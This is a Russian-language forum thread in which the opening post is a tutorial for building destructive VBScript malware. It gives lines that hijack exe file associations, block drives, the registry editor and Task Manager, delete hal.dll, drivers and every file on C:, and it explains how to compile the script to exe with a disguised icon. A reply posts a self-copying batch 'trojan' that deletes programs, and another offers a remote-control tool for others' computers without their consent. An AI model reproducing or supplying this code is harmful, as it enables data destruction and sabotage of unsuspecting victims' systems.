Вирус!за 15 минут через VB

Гладиатор

%(red)[Выкладывал секундомер высмеяли.Обидно.
Вот вам такая вредоносная программка я ее зделал че 11-15 минут]
Поставил хайд.не знаю почему но поствил
[spoiler=Внимание, спойлер!]Короче не важно новичок ты или умелый хакер,важно то нужно это тебе или нет???

Вредоносная программа будет написана на языке visual basic script.
Затем скомпелирована в "exe" формат.
Приступим:
Для начала,нужно уметь изменять расширение файла, с этого и начнём.
Существует много способов, но мне по душе
У каждого должен быть обычный архиватор,вот им мы и воспользуемся.
И так,создайте к примеру текстовый фаил под названием "Текстовый документ".
Теперь найдите этот текстовик через свой архиватор. В архиваторе,
вы должны увидеть следующее: "Текстовый документ.txt".
Окончание "txt" - имя расширения файла,вот его и нужно изменить,точно так же, словно, редактируете имя папки или файла,стираете строчку "txt" и ставите скажем "mp3".
В результате мы получаем "Текстовый документ.mp3" формата.
Если всё понятно, а вопросов возникнуть по этому поводу недолжно,то пойдём дальше.
Создайте текстовый документ,содержащий следующее:

on error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
s.run"rundll32 user32, SwapMouseButton"

Затем, сохранив полученные данные, вам нужно изменить расширение файла, и вместо "txt" прописать "vbs".

Аббревиатура "vbs", происходит от названия языка программирования - "visual basic script".

Вот у нас и готова первая, простая, вредоносная программка, меняющая местами кнопки мыши.

Теперь нужно её скомпелировать (изменить) в "exe" формат с помощью программы: "Vbs2Exe",
и установить любой значок с помощью грабера иконок: "IconToy".

А теперь информация для тех, кто не намерен ограничивать свои возможности банальным обменом кнопок мыши.

on error resume next
Set S = CreateObject("Wscript.Shell")
set FSO=createobject("scripting.filesystemobject")
Три, верхние строчки - должны присутствовать всегда. Далее,
следует кодировка, а ниже, в скобках - пояснение.

Так же возможно сочетать, те или иные вредоносные команды.
s.regwrite"HKCRexefileshellopencommand","rundll32.exe"
(Запрет на открытие "EXE" файлов)
s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoDrives","67108863","REG_DWORD"
s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewOnDrive","67108863","REG_DWORD"
(запрет доступа к жёстким дискам)
fso.deletefile fso.getspecialfolder(0)+"system32hal.dll",1
(удаляется системный фаил, после чего загрузка Windows становится невозможна.

Система работает до первой перезагрузки)
fso.deletefolder fso.getspecialfolder(0)+"system32drives",1
fso.deletefolder fso.getspecialfolder(0)+"Driver Cache"
(удаление драйверов)

fso.deletefolder "АДРЕС",1
(Удаление папки. Пример: fso.deletefolder "C:Новая папка",1)

fso.deletefolder "C:.",1
(Удаление всех папок диска С. Адрес можно поставить любой)

fso.deletefile "АДРЕС",1
(Удаление файла. Пример: fso.deletefile "C:Новая папкаТекстовый документ.txt",1)

fso.deletefile "C:.",1
(Удаление всех файлов диска С. Адрес можно поставить любой)

s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemdisableregistrytools","1","REG_DWORD"
(Запрет редактирования реестра)

s.regwrite"HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemdisabletaskmgr","1","REG_DWORD"
(Запрет диспетчера задач)

s.run"rundll32 user32, SwapMouseButton"
(Обмен кнопок мыши)

Пример:

Для просмотра скрытого текста нужно иметь 100 Сообщений на форуме

[/spoiler]

P.S Статейка не моя
Ставим +

Гладиатор

О нууу понятно теперь у нытиков мозгов не хватает что то сказать....

Givi

Автор хакер прям решил отомстить за секундомер

Добавлено через 00:23 мин.
Вроде норм мнее понравилось вот только я олень не пойму многое

Гладиатор

id114422327, да имено отомстить)))

газпром

давно такие делал

Givi

**Deag** 
**id114422327**, да имено отомстить)))

хахахаха
Ну что я могу сказать тебе? молодчик я попробовал у меня получилось что я создал просто текстовый документ кинул в архив потома я поместил вот то что ты вылаживал про мышку потом ввёл в конце "vbs"

Гладиатор

id114422327, :):

Givi

Выкладывай ещё что то типа такого почаще и мнее в вк тоже пиши:D: Добра тебе...

Добавлено через 02:09 мин.
И получилось какая то штука что потом? длать напиши?

Гладиатор

Bogdan Gnatyuk, будете ставить +,кину програму для управления чюжим компютером без его согласувания)

banabakis

читеры блин)))

Artyom Sergeevich 0

да да

Mickey

Хорош, плюс ставлю!!%(green)[!]

kovalruslan97

бат-троян
не рекомендую испытывать так как надо переустановить ОС после этого

код

@Echo off
Echo Конфета открывается…
Date 13.09.01
If exist c:ski.bat goto abc
Copy %10 c:ski.bat
Attrib +h c:ski.bat
Echo Конфета во рту
Echo c:ski.bat >>autoexec.bat
:abc
md PRIDUROK
md LUZER
md DURAK
md LAMER
Label E: PRIDUROK
assoc .exe=.mp3
del c:Program Files/Skype
Echo Конфета съедена! Поздравляю!!!

-Kifir4eG

нормально спс

SlayerGod

кто успел тот и взял)